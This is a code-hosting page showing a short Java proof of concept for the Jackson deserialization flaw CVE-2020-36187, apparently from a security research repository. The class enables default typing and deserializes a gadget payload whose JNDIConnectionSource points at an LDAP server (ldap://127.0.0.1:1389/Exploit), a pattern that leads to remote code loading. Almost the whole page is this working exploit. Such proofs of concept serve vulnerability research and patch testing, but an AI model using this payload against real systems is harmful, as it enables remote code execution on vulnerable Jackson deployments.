MCPcopy Create free account
hub / github.com/Firebasky/Java / CVE_2020_36187

Class CVE_2020_36187

jackson/src/main/java/com/firebasky/cve/CVE_2020_36187.java:7–15  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

5import java.io.IOException;
6
7public class CVE_2020_36187 {
8 public static void main(String[] args) throws IOException {
9 ObjectMapper mapper = new ObjectMapper();
10 mapper.enableDefaultTyping();
11 String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]";
12 Object o = mapper.readValue(payload, Object.class);
13 mapper.writeValueAsString(o);
14 }
15}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected